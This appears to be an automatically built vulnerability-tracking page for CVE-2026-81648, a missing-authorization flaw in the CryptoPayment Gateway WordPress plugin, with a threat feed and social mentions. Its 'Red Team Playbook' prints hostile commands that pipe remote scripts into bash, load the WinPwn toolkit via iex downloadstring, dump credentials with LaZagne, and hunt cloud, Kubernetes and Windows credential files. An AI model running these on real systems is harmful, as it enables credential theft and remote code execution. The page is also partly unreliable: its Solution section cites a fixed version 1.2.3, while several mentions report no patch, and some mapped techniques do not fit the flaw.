CVE-2026-81648
Overview
This vulnerability is an authorization bypass affecting the CryptoPayment Gateway WordPress plugin versions 1.2.1 through 1.2.2. The root cause is the absence of proper authorization checks on a specific AJAX endpoint, allowing unauthenticated requests to execute privileged administrative operations. The flaw resides in the plugin's server-side handling of AJAX requests, where access control validation is omitted.
Vulnerability Description
The CryptoPayment Gateway WordPress plugin from 1.2.1 to 1.2.2 does not apply an authorization check on one of its AJAX endpoints, allowing unauthenticated users to invoke administrative operations, including deleting arbitrary files on the server, overwriting the payment gateway configuration and recovering stored wallet credentials in cleartext.
Impact
An attacker requires no authentication or user interaction to exploit this flaw, enabling execution of administrative operations remotely. This includes deleting arbitrary files on the server, modifying payment gateway configurations, and extracting sensitive wallet credentials stored in cleartext. Such actions can lead to complete compromise of payment processing integrity, data breaches involving financial credentials, and potential disruption or takeover of the affected system's payment functionality.
Solution
Users of the CryptoPayment Gateway WordPress plugin should upgrade to version 1.2.3 or later, where authorization checks on AJAX endpoints have been implemented. The fix is documented in the advisory at https://wpscan.com/vulnerability/9b1490a0-1381-4d22-8086-f75aade4e898/. No official workaround is provided; immediate upgrade is recommended to mitigate this critical vulnerability.
EPSS vs KEV Prediction — Evolution (30 days)
Affected Products
No CPE information available.
Disclaimer
The exploits, modules, and proof-of-concept (PoC) code listed in this section are automatically collected from public repositories, including GitHub, ExploitDB, and Metasploit Framework.
CSURFACE is not the author, maintainer, or responsible party for any of this code. The content may contain malicious code, backdoors, or undocumented behavior.
By accessing any external link or executing any referenced code, you assume full responsibility for the risks involved. We strongly recommend:
- Only execute in isolated environments (sandbox/VM)
- Review source code before any execution
- Do not use against systems without explicit authorization
- Comply with all applicable local laws and regulations
GitHub PoCs (1)
| Repository | Author | Stars | Forks | Date | Link |
|---|---|---|---|---|---|
|
abraxas/CVE-2026-81648
CVE-2026-81648 - WordPress - CryptoPayment Gateway - Critical 10.0 - Unauthenticated POST /wp-content/plugins/cryptopaym...
|
abraxas | 1 | 0 | 2026-09-19 | View |
Threat Feed
4 eventsSighting activity recorded
Sighting activity recorded
Proof-of-concept code is publicly available for this vulnerability
Active exploitation confirmed with 21 sighting(s)
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
| ID | Name | ML Conf. | Likelihood | Severity | Link |
|---|---|---|---|---|---|
| CAPEC-665 | Exploitation of Thunderbolt Protection Flaws |
47%
|
Low | Very High |
Red Team Playbook
59 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
for pid in $(pgrep -f 'Runner.Worker|Runner.Listener|runsvc|run.sh' 2>/dev/null); do tr '\0' '\n' < /proc/$pid/environ 2>/dev/null | grep -iE 'env|ssh'; done
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path} -maxdepth 6 -name "#{filename}" -type f #{optional_flags} 2>/dev/null
find #{file_path} -path '*/.aws/#{filename}' -type f 2>/dev/null
find #{file_path} -path '*/.azure/#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -path '*/.docker/#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -path '*/.config/gcloud/#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find /root -path '*/.kube/config' -type f #{optional_flags} 2>/dev/null
find /etc/kubernetes -name '*.conf' -type f #{optional_flags} 2>/dev/null
find #{file_path} -path '*/.kube/config' -type f #{optional_flags} 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for filename in #{filenames}; do find #{file_path} -name "$filename" -type f #{optional_flags} 2>/dev/null; done
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
for filename in #{filenames}; do
find #{file_path} -name "$filename" -type f #{optional_flags} 2>/dev/null
done
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find /etc/mysql -name 'my.cnf' -type f #{optional_flags} 2>/dev/null
find /etc/redis -name 'redis.conf' -type f #{optional_flags} 2>/dev/null
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
Mentions (25)
21 mentions from 16 sources in the last 7 days BuzzFactor 78 / 100
-
social bsky.app @hacker.at.thenote.app 2026-11-04 11:16 UTCAttackers Target Unpatched CryptoPayment Gateway Flaw That Can Expose Wallet Credentials Threat actors are attempting to exploit an unpatched maximum-severity security vulnerability in the CryptoPayment Gateway WordPress plugin, according…Open source
-
social bsky.app @axnews.bsky.social 2026-11-04 07:32 UTC🛡️ The CVEs that mattered · Tuesday 3 November 1. CVE-2026-116606 · Critical 9.3 — Barracuda Email Security Gateway… 2. CVE-2026-58115 · Critical 10.0 — Siemens SIMATIC IoT2050 Advanced 3. CVE-2026-81648 · Critical 10.0 — CryptoPayment Gat…Open source
-
social infosec.exchange @117509315927375519 2026-11-04 07:32 UTC🛡️ The CVEs that mattered · Tuesday 3 November 1. CVE-2026-116606 · Critical 9.3 — Barracuda Email Security Gateway… 2. CVE-2026-58115 · Critical 10.0 — Siemens SIMATIC IoT2050 Advanced 3. CVE-2026-81648 · Critical 10.0 — CryptoPayment Gat…Open source
-
social bsky.app @cybowl.bsky.social 2026-11-04 06:24 UTCVulnérabilités critiques (CVSS ≥ 9) · 3 • CryptoPayment Gateway (plugin WordPress) (CVE-2026-81648), CVSS 10.0 (Hacktualités) • Node-RED (CVE-2026-58115), CVSS 10.0 (Cyberveille) • Barracuda Email Security Gateway (ESG) (CVE-2026-116606),…Open source
-
social bsky.app @thebadgamer.bsky.social 2026-11-04 05:16 UTCCryptoPayment Gateway versions 1.2.1 through 1.2.2 have no published fix; owners are advised to remove the plugin, rotate wallet keys and audit changes.… https://www.trickyworld.in/computer-tricks/cyber-security/cve-2026-81648-remove-unpat…Open source
-
social bsky.app @donwebmedia.bsky.social 2026-11-04 03:17 UTCCVE-2026-81648: exploit activo sin parche en WordPress ¿Tenés CryptoPayment Gateway instalado? CVE-2026-81648 WordPress ya tiene explotación activa confirmada y cero parche. Desinstalalo hoy mismo. #cve202681648 #cryptopaymentgateway #word…Open source
-
social bsky.app @sambowne.infosec.exchange.ap.brid.gy 2026-11-03 16:35 UTCAttackers Target Unpatched CryptoPayment Gateway Flaw That Can Expose Wallet Credentials https://thehackernews.com/2026/11/attackers-target-unpatched.htmlOpen source
-
news tokenpost.com 2026-11-03 13:21 UTCDefused Cyber Flags Exploit Attempts Against Critical WordPress Crypto Flaw - TOKENPOSTOpen source
-
social infosec.exchange @edwardk 2026-11-03 10:04 UTCAttackers Target Unpatched CryptoPayment Gateway Flaw That Can Expose Wallet Credentials Threat actors are attempting to exploit an unpatched maximum-severity vulnerability in the CryptoPayment Gateway WordPress plugin, tracked as CVE-2026…Open source
-
social bsky.app @hendryadrian.bsky.social 2026-11-03 09:24 UTCDefused Cyber reports in-the-wild attempts to exploit CVE-2026-81648, an unauthenticated flaw in CryptoPayment Gateway for WordPress that can expose wallet credentials. No fix is available; site owners are advised to remove the plugin and…Open source
-
social bsky.app @hacks.gr 2026-11-03 07:51 UTCAn unpatched CVSS 10 flaw (CVE-2026-81648) in the CryptoPayment Gateway WordPress plugin is facing exploit attempts, enabling file deletion and wallet credential theft witho… https://en.hacks.gr/epitheseis-se-istoselides-logo-akalyptoy-ken…Open source
-
social mastodon.social @hacksgr 2026-11-03 07:51 UTCA maximum-severity CVSS 10 vulnerability (CVE-2026-81648) affecting the CryptoPayment Gateway WordPress plugin versions 1.2.1 through 1.2.2 is seeing in-the-wild exploit attempts. The flaw stems from missing authorization checks on an AJAX…Open source
-
social bsky.app @calimegai.bsky.social 2026-11-03 07:37 UTCFaille non corrigée du plugin CryptoPayment (CVE-2026-81648) : attaquants non authentifiés peuvent supprimer des fichiers et exfiltrer des identifiants de wallet. ⚠️ #WordPress #Crypto thehackernews.com/2026/11/atta...Open source
-
social bsky.app @handle.invalid 2026-11-03 07:14 UTCCryptoPayment Gateway: explotan su fallo CVE-2026-81648 Atacantes explotan el fallo CVE-2026-81648 de CryptoPayment Gateway: sin contraseña borran archivos y leen credenciales de billeteras....Open source
-
social bsky.app @abijita.bsky.social 2026-11-03 07:14 UTCCryptoPayment Gateway Flaw Sees Exploitation Attempts Defused Cyber reports exploitation attempts against CVE-2026-81648, a critical WordPress plugin flaw that can expose wallet credentials and allow file deletion.Open source
-
news cryptotimes.io 2026-11-03 07:12 UTCHackers Exploit Critical WordPress Plugin Flaw That Exposes Crypto Wallet Credentials - The Crypto TimesOpen source
-
social bsky.app @postac001.bsky.social 2026-11-03 06:25 UTCCryptoPayment Gateway WordPressプラグインに最大級の脆弱性CVE-2026-81648(CVSS 10.0)が存在。攻撃者は認証なしでサーバー上のファイルを削除・抽出可…Open source
-
social bsky.app @undercodenews.bsky.social 2026-11-03 06:19 UTCCritical WordPress CryptoPayment Gateway Vulnerability Exploited in the Wild: CVE-2026-81648 Carries Maximum CVSS 100 Score + Video Introduction: A Critical Threat to Cryptocurrency Payment Infrastructure A maximum-severity vulnerability i…Open source
-
social bsky.app @infosec.skyfleet.blue 2026-11-03 06:02 UTCAttackers Target Unpatched CryptoPayment Gateway Flaw That Can Expose Wallet CredentialsOpen source
-
social bsky.app @thehackernews.com.web.brid.gy 2026-11-03 05:34 UTCOpen source
-
news thehackernews.com 2026-11-03 05:34 UTCAttackers Target Unpatched CryptoPayment Gateway Flaw That Can Expose Wallet Credentials - The Hacker NewsOpen source
-
code github.com abraxas 2026-09-19 20:21 UTCabraxas/CVE-2026-81648Open source
-
social bsky.app @thehackerwire.bsky.social 2026-09-14 05:03 UTC🔴 CVE-2026-81648 - Critical (10) The CryptoPayment Gateway WordPress plugin from 1.2.1 to 1.2.2 does not apply an authorization ch... https://www.thehackerwire.com/vulnerability/CVE-2026-81648/ #infosec #cybersecurity #CVE #vulnerability #…Open source
-
social bsky.app @stemshop.bsky.social 2026-09-13 22:07 UTC🚨 CVE-2026-81648 — CVSS 10 CRITICAL The CryptoPayment Gateway WordPress plugin from 1.2.1 to 1.2.2 does not apply an authorization check on one... 🔎 https://stemshop.top/cve/CVE-2026-81648 #CVE #CyberSecurity #InfoSecOpen source
-
social bsky.app @stackflag.bsky.social 2026-09-13 21:00 UTCCVE-2026-81648 - cryptopayment gateway Versions 1.2.1 through 1.2.2 of the CryptoPayment Gateway WordPress plugin do not verify who is making certain AJAX requests. This allows anyone on the… Too many irrelevant or confusing CVEs? Use stac…Open source
References (2)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2026-81648 |
| wpscan.com |
GitHub CVE
exploit
vdb-entry
technical-description
|
https://wpscan.com/vulnerability/9b1490a0-1381-4d22-8086-f75aade4e898/ |